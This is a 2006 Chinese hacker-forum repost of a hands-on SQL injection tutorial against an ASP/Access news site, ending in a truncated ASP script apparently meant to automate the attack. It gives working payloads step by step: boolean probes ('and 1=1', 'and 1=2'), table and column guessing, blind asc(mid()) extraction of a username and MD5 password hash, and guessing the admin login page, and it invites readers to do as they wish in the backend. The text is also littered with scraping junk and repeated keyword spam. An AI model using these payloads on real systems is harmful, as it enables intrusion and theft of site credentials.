[分享]SQL注入漏洞应用篇

上一篇 / 下一篇  2006-12-02 23:37:37

查看( 434 ) / 评论( 11 )
来源:eNet硅谷动力
iyrk;Xr7a8s8s0作者:Lovexysky★黑基空间★8`J4V QU%s p
如果你已经掌握了SQL注入漏洞的一些相关的基础知识,那是不是觉得看了理论有一种想急于知道如何实际动手操作的冲动,好吧,Let’s go,这篇文章我们就来实战SQL注入,不过针对网站的数据库是ACCESS的,毕竟在国内都是用虚拟机,一般只有FTP上传权限,所以还是很有市场的。  ★黑基空间★%V~cG6^I t8Ji"O&J
★黑基空间★S,d W.wo&Q
首先要注意的是,如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
8DyU"}nW1T]T E0★黑基空间★;Xh4N-X"j;l
  1.入侵测试目标:
2~$A].[yJ_|K0★黑基空间★9y2f#G\K:B,s4f*J
  前不久我们学校的一个同学做了个网站,做的还挺漂亮的,叫我去看下,我顺便对它进行了一次安全检测。文章发表前已经征得该同学的同意,请不要效仿。下面的真实网址已经被我屏蔽。
,|;zOk%R]&Te1bS0
O;|){ c9p'c*B I^0  测试网站:http://www.xxx.com/index.asp★黑基空间★Zy1e@X8EGn/hck"s
★黑基空间★J$aM^3DD5XA
  2.寻找可能的SQL注入点
C l)p i]4c'g:D|6^z0
;BqX3o]8z8lb k$D0  我们知道,一般的文章管理系统,下载系统,论坛,留言本,相册等都会有个show.asp?id= list.asp?id= news.asp?id= 什么的,其实一看就知道是调用SQL语句查询数据库并显示出来。我们不难发现这个站的新闻系统就是show.asp?id=的形式,随便点一个链接得到地址如下:
\Q _ A2f7_ Z+P;VL0★黑基空间★{0r?6Z n7ORJ
  http://www.xxx.com/show.asp?id=474
.gg7h.aGk{A&PA9@0
,T ]d8dSs0  从这个地址就知道是通过show.asp执行SQL语句访问数据库,可想而知,SQL语句原貌大致如下:★黑基空间★4?nw5B)wXn

t,XS9q!\f j Q6d0  select * from 表名 where 字段=xx,如果这个show.asp对后面的id整型参数过滤好的话,就可能存在SQL注入漏洞。
-I8a3D6u e0★黑基空间★'UX$BS0tD+}C
  3.判断SQL注入是否存在★黑基空间★^ Es%Y/Q&w%O
★黑基空间★9^vCTB(@$~o
  通过上面的分析知道,要判断有没有SQL注入漏洞,就得看show.asp有没对参数过滤好,所以可以用以下步骤测试SQL注入是否存在。  ★黑基空间★Uo(m+xx ay
>>>更多专题请看论坛和WEB攻击初步  数据库SQL注入攻击  注入漏洞测试分析专题
2J_,j6I0T&u\F4tn0★黑基空间★pk-_b5i z
[本帖最后由 mpf_hgsf 于 2006-12-2 23:10 编辑]
相关阅读:

TAG: SQL注入

西北望 mpf_hgsf 发布于2006-12-02 22:59:54
a.最简单的判断方法 ★黑基空间★*gt
O1_v!r(Y
? J+Y

space.hackbase.com {-]ct%Y/nD
  在要检测的网址后面加一个单引号:http://www.xxx.com /show.asp?id=474’
\[#B"D-G+b        i3rispace.hackbase.com此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:
b3VkD
\M黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香

z.CVK f9}●★黑基论坛★●  - 全球最大中文黑客社区  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香3|
H9X
[p


2_tq:zC  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" '"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:
J c?VEh\★黑基空间★,}#k{uzuX
  http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与http://www.xxx.com /show.asp?id=474运行结果相同,如图1:
@'dk5E{
KD.A0|d
Q+c8\5x3E:Y~n(\
  
(Y8l\3j9N★黑基空间★space.hackbase.com'aVn0V c;u

&u:XnaXM2c5s★黑基空间★★黑基空间★q S#S;g5q&D
  http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:
1BK~q7`yq/W(v
I&G;~*@N[u{  
6g5iP7p'GH"n
L'q-`-S

"y2C5l2h G#c0c★黑基空间★
P
Tij6w]5[z●★黑基论坛★●  - 全球最大中文黑客社区

%t[3{hO7C        s#D黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!
\wn
vi
@@0A@G
★黑基空间★$zp;H'v%BxN d:p
  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点: http://www.xxx.com/show.asp?id=474 此时show.asp中的SQL语句变成了:select * from 表名 where 字段=xx’,如果程序没有过滤好“’”的话,就会提示 show.asp运行异常;但这样的方法虽然很简单,但并不是最好的,因为:
%iWbb*U●★黑基论坛★●  - 全球最大中文黑客社区
/|6o|%H:N●★黑基论坛★●  - 全球最大中文黑客社区  第一:不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
7|7p9y}m&E6f%R%y4G-X(y
W|sVa`

  第二:由于以前存在过的1’ or ‘1’=’1漏洞,所以目前大多数程序员已经将“’“ 过滤掉,所以用" '"测试不到注入点,所以一般使用经典的1=1和1=2测试方法,如下:
?6?_7RqP
'QI:g        }.|$X3[★黑基空间★  http://www.xxx.com /show.asp?id=474 and 1=1, show.asp运行正常,而且与http://www.xxx.com /show.asp?id=474运行结果相同,如图1: !h%O"bb_

-G#gs8[Cd黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香   ★黑基空间★ }6\#u*obn7vT2f

%^7{M \1h"RT{space.hackbase.com
M_!hR5Cil黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
]Wio]!k!q★黑基空间★  http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp运行异常,(这就是经典的 1=1 1=2 判断方法)如图2:
oZ-AG3kX
w        C~e
T]$}2kspace.hackbase.com
  
XO
q*`8]BN1w,t0]


E {Q(w"U&Lz0LP/J+c
y?

&v$lzMaX&qZj●★黑基论坛★●  - 全球最大中文黑客社区5Z?;Y8I5N5n
  这里很明显当加 and 1=1 的时候返回完全正常的页面,加 and 1=2 显示:暂时还没有文章!
5Md*u4d"Q7RX&dc3~
T9dax9k"z)XM7m  到这里基本上可以断定他存在SQL注入,至于能不能注出账号密码来,还需要更进一步的注入测试,这里只能得到SQL注入点: http://www.xxx.com/show.asp?id=474
西北望 mpf_hgsf 发布于2006-12-02 23:02:28
4.判断表是否存在 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香AxO+~ X"q{
space.hackbase.comP"^-j(^pH)?7IzW
  国内的一般程序员在设计数据库的时候都会用一些特定的做为表名,字段名什么的。比如说后台管理员一般放在表admin里面,而注册的用户放在表users里,当然,只是一般,依照各程序的不同而不同。 space.hackbase.com!h&Z VCs
Bvge        Wgd
  这个站是我同学自己写的,我还是先判断管理员表admin是否存在,在后面加上语句:and exists (select * from admin)变成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交访问后返回的页面如图3: ★黑基空间★q3I1@1d9[3K
黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香8o PL:zO'|*z M+{

@F E aK%kz.}space.hackbase.com●★黑基论坛★●  - 全球最大中文黑客社区4Am
x%?!qIl+g-Rk

这就说明我猜的admin表名不存在,继续猜另外的名字,这里可以参考国内常见的程序的表名,比如:admin user vote manage users 会员 用户 管理员 admin_admin userinfo bbs news system等,这个站我最后猜到的是:users,语句:and exists (select * from users)。 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香{j*p.s#S9^a
f8VH jC^:n,ccI
  5.进一步判断表里的字段是否存在 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
a:p-I*E6Y3~1I/}

space.hackbase.com}:]TMcNc1P^{ByN6P
  判断字段id 是否存在,这个一般都有,自动编号。如果存在了顺便猜一下管理员的id值。
:L2@S2@Y]\
bGG'~space.hackbase.com

L5fR6s
H\●★黑基论坛★●  - 全球最大中文黑客社区
  判断存在语句:and exists(select id from users)
2x6i6Q\8G9O1R(T!X0I1W
.Hm
P ^C7Pi,|S u W●★黑基论坛★●  - 全球最大中文黑客社区
  判断编号语句:and exists(select id from users where id=1) ●★黑基论坛★●  - 全球最大中文黑客社区#?%j'r{Jz
`

●★黑基论坛★●  - 全球最大中文黑客社区FQ0r2cA+H(t$mE
  一般管理员账号密码放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。
p1Q_m;E)J'Ft(R@F:y!V
  由于这个站是自己写的代码,所以会有点不同,当判断是否不过你可以猜到他的对应的可能是userid,因为他表名取做user呀,把上面的id改为userid就返回了正常的页面,如图4: 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香.?jC3|        v^ G'v*p

)pR7o h9Y*rB●★黑基论坛★●  - 全球最大中文黑客社区VN%Ut*r#C o!@8w
   space.hackbase.com"l
Fh&e
W'I&D


6L;a,gs kspace.hackbase.comr!EVhZ%t%D{
HX&OHnS9^U R
  至于这个userid值为多少,同样猜,and exists(select userid where userid=1)改变1这个数字,一直猜到页面显示正常为止。这里我猜到的是userid=11,如图5:
zwX-Q&GI)b2B/hm)O0?%`Y*tb
  
.e2ue Sj        U&s~(}*N
        ?FnOm
)T
[O4z
bspace.hackbase.com

|*Xw t!J        SD#\s:x  最后猜出这个继续猜出其它的字段,用户名字段最后为username,密码字段为userpwd,用到的语句分别为:and exists (select username from users)和and exists (select userpwd from users),这里就不抓图了。 ●★黑基论坛★●  - 全球最大中文黑客社区5s,X%p&Ru8z
c

  3V%e.C        Misc
$MEQ"C\(xB
\

[ 本帖最后由 mpf_hgsf 于 2006-12-2 23:09 编辑 ]
西北望 mpf_hgsf 发布于2006-12-02 23:04:56
6.再进一步判断账号和密码的长度
jY!VH.bf }
\x%V7FWFZ9Lspace.hackbase.com
/J+m1~M(Mvi|.xspace.hackbase.com  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去。。。。。。当然由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了。 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香5[+C;y0c~S7B        x I
a2j(w

黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香8ck+U
c7Bg

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是 ★黑基空间★'C%X'kbZv)ri;@

rT3lEg\
Fospace.hackbase.com
  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6: space.hackbase.comG v.K&l-\

*au;~QJSW:M6O        B  
h!\:Y4Fo        `d.R●★黑基论坛★●  - 全球最大中文黑客社区u/O2ubASef

w1rDfmg●★黑基论坛★●  - 全球最大中文黑客社区●★黑基论坛★●  - 全球最大中文黑客社区2kX/wD
] EC

  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。
'ol
G;z)ME,Q)Ospace.hackbase.com
●★黑基论坛★●  - 全球最大中文黑客社区0c~8ke~y
  到此,我们得到的信息如下:
M8i@eV★黑基空间★黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香+O{6Mcy!h2Gf;NxQ)Z
  账号username长度:4 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香D$F0c\(s g ~3o]
;s.]rmir?%`%_
  密码userpwd长度:16
西北望 mpf_hgsf 发布于2006-12-02 23:06:16
7.猜解账号密码字符
%Dk,}ab★黑基空间★
K\3N(p(HHLF`space.hackbase.com  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香"iG9{Lo:b f

SX1?1wwlYev★黑基空间★  格式:mid(字符串,开始位置,子串长度)
&Bu^"I+^O黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香★黑基空间★{`5C-}hA
黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香k1f]!n0cPN
  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y
)E5R8^7u]xs
C★黑基空间★
★黑基空间★H%m8` Ry        m2L9O
  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句: ,D;bvG
J

●★黑基论坛★●  - 全球最大中文黑客社区^L4O-\YiWau
  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符: ★黑基空间★};ZWw~iP

._+N+xa)@v,V黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常
0[&A        SQ+J?黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香

\4Q"UZUwspace.hackbase.com
  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常 G2kw)L!CzY)m,N
●★黑基论坛★●  - 全球最大中文黑客社区M'~hX
W)^-@0`]t

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765 M        R5uc
E/yb'I!pd


c\B Btspace.hackbase.com  and 11=(select userid from users where asc(mid(username,1,1))= -19765)
z
|WEk\(]2kZ(z

i)["qg)c9e        [.}黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  ASCII码为-19765对应的字符就是:菜
V)_e(n9P●★黑基论坛★●  - 全球最大中文黑客社区●★黑基论坛★●  - 全球最大中文黑客社区{TcI'ii3fW
  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7: ★黑基空间★ XT Ymd'oj+n0`
WL.fR"tk
   ●★黑基论坛★●  - 全球最大中文黑客社区A2{K&T }
G0l


7I5B#?7akW4j        ZkK
E)W+U7}S%{
$?VL*n:P+Ft2C黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  对应字符为:鸟 space.hackbase.com
O1W
r3m.x

space.hackbase.comp4X`}&d!T
  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了: 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香 P(EK/{8K9u
★黑基空间★'}8?/dS!H/S#}DQ
  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。 space.hackbase.com        g4z8Nip
6C0Qar6D&M!d6LJ
  接着猜密码,依然二分法,就不抓图了: space.hackbase.com6q7ZpX3Tz|8}Q

2gT6i/Ur  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)
z!i.O%b"C7N h黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
.mdz5IZ#Q5^"w6@!{!Fr&A黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)
2lz+DK
@黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香

|HdE/?(}:^H6o%`
X黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
  最后得到的为:48 对应的字符就是0 space.hackbase.comA*j)Ra'G9D'N1Y2X

1c D5B&p@.}nw●★黑基论坛★●  - 全球最大中文黑客社区  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。  
9Un8?%uh&hmtspace.hackbase.com>>>更多专题请看论坛和WEB攻击初步  数据库SQL注入攻击  注入漏洞测试分析专题
西北望 mpf_hgsf 发布于2006-12-02 23:06:44
8.后台的猜解 )q9Ck;e%gI \H

qa+LqU  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也是最为关键的一步:寻找网站管理后台。  
&^?ZD,B*`space.hackbase.com像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:
3{?Q [l*`9xn-Dan2v
@0Gf6T6N4|B\:Z●★黑基论坛★●  - 全球最大中文黑客社区
H.{9T)ax*};j s0Hn★黑基空间★  
arg#@
mB7V9N.gi★黑基空间★

1|aJ(BNHW*v
CP黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
space.hackbase.com,bp~9f%C|NW

4ZL S9Low'Jb M'R★黑基空间★  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!
,j(C l7zr(M:?
oz4Q5od!toG`6B●★黑基论坛★●  - 全球最大中文黑客社区[ 本帖最后由 mpf_hgsf 于 2006-12-2 23:10 编辑 ]
西北望 mpf_hgsf 发布于2006-12-02 23:14:05
SQL注入研究
'请勿用于非法用途,本代码只是为了让广大ASP爱好者明白原理,防范于未然。
~n*_2Vd(L★黑基空间★
wp        B#o"[z6roFunction bytes2BSTR(vIn) ★黑基空间★)B4kpc$?        V+w.^
dim strReturn
2MH^;n#[/r-O^Jldim i,ThisCharCode,NextCharCode
$Q1{;quycl[,[/SstrReturn = "" 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香z or\,fW(T\
For i = 1 To LenB(vIn) space.hackbase.comT0w[6l/ds ](M

hk
wp#s7e
ThisCharCode = AscB(MidB(vIn,i,1)) Pr+VgD7@9m
i*_

If ThisCharCode < &H80 Then
Xf/LYD4P●★黑基论坛★●  - 全球最大中文黑客社区strReturn = strReturn & Chr(ThisCharCode) ★黑基空间★/n$ujTD!|8Q4l
Else 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香/O`6})h9`&Jwv
NextCharCode = AscB(MidB(vIn,i+1,1))
%^9SG$]!^)]?B O●★黑基论坛★●  - 全球最大中文黑客社区strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
/v6o5os        L!x#Ki = i + 1
!Y-Cz~b#x&]●★黑基论坛★●  - 全球最大中文黑客社区End If ★黑基空间★ dXM[6HV[
TucY

Next
2f8D m!z v [p5s"|4[space.hackbase.combytes2BSTR = strReturn
9G,yX#\o|%@vB3`4IEnd Function space.hackbase.com7HgmX H$H,s

(q.Q Hh7WZ
CA%M4y_"e●★黑基论坛★●  - 全球最大中文黑客社区
function getHTTPPage(url) ●★黑基论坛★●  - 全球最大中文黑客社区9x:pa*Usw!X3Y
dim http
rQqDIjH●★黑基论坛★●  - 全球最大中文黑客社区set http=createobject("MSXML2.XMLHTTP")
0@X+c@.vY        pHttp.open "GET",url,false space.hackbase.com^dGmd\:h
Http.send() ●★黑基论坛★●  - 全球最大中文黑客社区`&@e4QZp([l:`
if Http.readystate<>4 then
7zT7^:[
f$j/N&T★黑基空间★
exit function
zEO
I6^$nd黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
end if
L(\#|7@0D#Tdy9D黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香getHTTPPage=bytes2BSTR(Http.responseBody) ★黑基空间★;b`)gcqa
set http=nothing         Y&zie*d
if err.number<>0 then err.Clear
9}+B(]5J9T+ZP)UV        vspace.hackbase.comend function space.hackbase.comDlS
o|_

space.hackbase.com,B7TF/O
I6G


Vn`)^
n

1F?.o)`+e?v9c$XOspace.hackbase.comFunction RegExpTest(patrn, strng)
T.K x|K2HDim regEx, retVal ' 建立变量。
